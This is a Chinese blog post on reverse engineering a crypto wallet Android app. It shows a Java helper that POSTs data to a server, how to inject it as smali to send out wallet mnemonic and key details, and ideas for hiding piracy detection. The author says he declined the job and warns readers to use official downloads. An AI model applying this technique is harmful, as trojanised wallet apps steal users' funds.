PS: 有單子找我接呀,點擊這里加我
目錄
- 前言
- 逆向定位小技巧
- 關于去掉APP盜版檢測思考
- 區塊鏈安全思考
- 總結
- 其他
- 關注這里,了解更多原創資訊:
- 打賞喝咖啡
前言
1.早在8月中旬接到一個粉絲加我,說是有開發需求,找我來聊聊,能否實作

2.還真搞定了,但是由于這個錢來路有點黑,最后不接,對方開了很高的價錢也不接
3.也很久沒更新博客了,也沒什么技術亮點,這次水一篇吧,好歹是逆向某APP,也學習到了一些東西
4.本篇內容篇幅就不介紹脫殼、簽名的問題,本篇文章側重介紹:Smali 原始碼修改及重打包
逆向定位小技巧
PS: 先了解區塊鏈錢包的實作原理
了解到區塊鏈錢包,技術上主要涉及這幾個重要概念:助記詞、私鑰、公鑰、錢包地址
而且區塊鏈錢包服務器是不會保存用戶的助記詞的,并且不通過網路傳輸;
換而言之,就是都保存在你本地;
筆者測驗過,安卓端去設定里面,把APP的資料給清空掉的話,是直接就沒有了的,
如果你不記住你本子,你的錢包是找不回來的,所以一定要記下來你的助記詞
1.明知山有虎,偏向虎山行——還是老套路,抓包分析(固有套路,排除最簡單的方式)
2.發現抓包并沒有什么發現,都是加密的東西(TCP/UDP/HTTPS)
3.靈光一閃,想到了前面的原理所提及的關鍵詞,直接拿去谷歌翻譯啊笨——當時心情突然開心了一下子

4.助記詞——Mnemonic,真行啊這都被我想到了,而且一點混淆也沒有(我驕傲了嗎,哼!)

5.使用 frida hook 來分析到的關鍵代碼處(這里忽略程序)
6.本文介紹的最重要的一點來了:smali 原始碼修改及打包
6-1、首先來分析一下,我們可以直接修改 smali 原始碼來實作我們需要的操作,比如:
- 插入 log 日志列印;
- 監聽到指定的關鍵內容之后,發送到指定的服務器;
6-2、那么問題來了,我們需要對 smali 原始碼進行修改,那不得按照它的語法來撰寫呀?
很好,你有這個意識就好;
來到了,我的政治老師教給我的,怎么辦?我們直接寫一大篇幅的 smali 代碼那簡直是頭疼呀,不是不可能,是很容易出錯,需要多次修改;
有沒有更好的思路及實作呢?有吧,我覺得
7.正向開發——>再反編譯成 smali 專案——>拷貝 smali 檔案——>修改 smali 檔案的包路徑為正確的包路徑——>最后參考
發送內容到指定的服務器 demo 代碼:
ForSmaliUtils.java
import android.util.Log;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStreamWriter;
import java.net.HttpURLConnection;
import java.net.URL;
public class ForSmaliUtils {
public static String streamToString(InputStream stream) {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int len = 0;
try {
while ((len = stream.read(b)) != -1) {
outputStream.write(b, 0, len);
}
return outputStream.toString();
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
public static void sendData(final Object data) {
final String TAG = "SmaliLog";
final String myUrl = "http://192.168.1.2:7071/receiveData";
Log.i(TAG, "objdata: " + data.toString());
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
try {
URL url = new URL(myUrl);
HttpURLConnection urlConn = (HttpURLConnection) url.openConnection();
urlConn.setConnectTimeout(10 * 1000);
urlConn.setReadTimeout(10 * 1000);
urlConn.setDoOutput(true);
urlConn.setDoInput(true);
urlConn.setUseCaches(false);
urlConn.setRequestMethod("POST");
urlConn.setInstanceFollowRedirects(true);
urlConn.setRequestProperty("Content-Type", "application/json;charset=UTF-8");
urlConn.connect();
OutputStreamWriter outputStreamWriter = new OutputStreamWriter(urlConn.getOutputStream());
outputStreamWriter.write(String.valueOf(data));
outputStreamWriter.flush();
outputStreamWriter.close();
if (urlConn.getResponseCode() == 200) {
String result = streamToString(urlConn.getInputStream());
Log.e(TAG, "Post方式請求成功,result---> " + result);
} else {
Log.e(TAG, "Post方式請求失敗: " + urlConn.getResponseMessage());
}
urlConn.disconnect();
} catch (Exception e) {
Log.e(TAG, "發送資料例外: " + e.toString());
}
}
});
thread.start();
}
}
呼叫發送資料到指定的服務器:
String myData = "hello, i am qizai, are u ok?";
ForSmaliUtils.sendData(myData);
然后將正向開發的代碼,我的是在一個 xposed 插件 APP 里面的,所以直接編譯這個專案輸出一個 APP 包就行了;
然后將這個輸出的 APP 包,反編譯成 smali 專案,我這里同樣是使用 Android killer來修改, 請看第一篇手把手教學的教程
查看 smali 原始碼


直接拷貝 ForSmaliUtils 的 smali 檔案,及使用、呼叫它

然后重新打包,成功之后,直接列印日志試試,因為我里面做了日志列印,標簽為:SmaliLog
使用adb logcat -s SmaliLog查看,發送成功,發送的內容是:初始化創建用戶的時候,APP是默認給用戶創建三個錢包,幣種分別是:ETH、BTC、ATOM,所對應的相關內容

服務端接收成功:

至此,這 APP 算逆向成功了
關于去掉APP盜版檢測思考
比如,檢測到了盜版是這樣的:

但是檢測也照樣能過濾掉,這樣一來,一般的使用者就不會發現是盜版的 APP 了
怎么過呢?目前考慮的情況有這些:
- 屏蔽官方發起盜版檢測請求
- 去掉當前的彈窗
目前實作的步驟來看,不再繼續研究了,因為這是違法的事,我也跟那哥們說了,不接這單子了,然后他找別人做去了
區塊鏈安全思考
- 所謂的區塊鏈安全,什么去中心化,啥的,對吧;
- 擱這,APP 被動手腳了那也不是很安全嘛,對吧;
- 最重要的是,如果大伙們要炒幣,那一定要從官方網站下載 APP,別從朋友那里下載,或者一些近似官網鏈接去下載
- 這粉絲說是在國外的,搞這些;然后給了很多盜版的官網鏈接給我,打開的頁面就是跟官網一模一樣,鏈接也是包含官網那些關鍵詞
- 反正無論是什么 APP、什么軟體都得要慎重思考來源——誠信的給你們提醒
總結
- 本文只想介紹一個知識點:逆向的時候,我們可以從正向開發,撰寫好代碼后,編譯成APP;
- 再對APP進行反編譯,我們就拿到了完全正確格式的 smali 代碼;
- 然后再對我們需要的 smali 檔案進行拷貝到,目標逆向APP內;
- 插入相關的呼叫邏輯,俗稱 “插樁”,這里需要注意的是,拷貝的 smali 檔案中,開頭那里需要修改為正確的包名路徑;
- 插樁的時候,我們還需要注意的是:區域變數的個數,如果有用到的話(即是:.locals指令,表明了方法中非參暫存器的個數)
其他
- 別發橫財夢了(講真,那個單子真的很傭訓,好幾個 APP,總共的金額高達3/40W,那對我來說,是三四線城市的一個首付呀)
- 黑產早晚得進去,別杠,杠就是:早中晚都進去 [/狗頭保命]
- 禁得住傭訓
之前說好的,每個月至少一更,現在都很多個月沒寫了,對不起粉絲們,這么久沒有輸出內容
感謝某人的默默支持,這好長一段時間,辛苦了,謝謝
很深夜了,睡覺啦,晚安
關注這里,了解更多原創資訊:
- 七仔博客首頁
- 七仔Gitee
- 七仔Github
- 七仔爬蟲論壇首頁
打賞喝咖啡
你的支持就是我的動力,感謝感謝

轉載請註明出處,本文鏈接:https://www.uj5u.com/qukuanlian/299739.html
標籤:區塊鏈
上一篇:(二)requests爬取智能合約賬戶地址及其交易記錄
下一篇:區塊鏈簡介
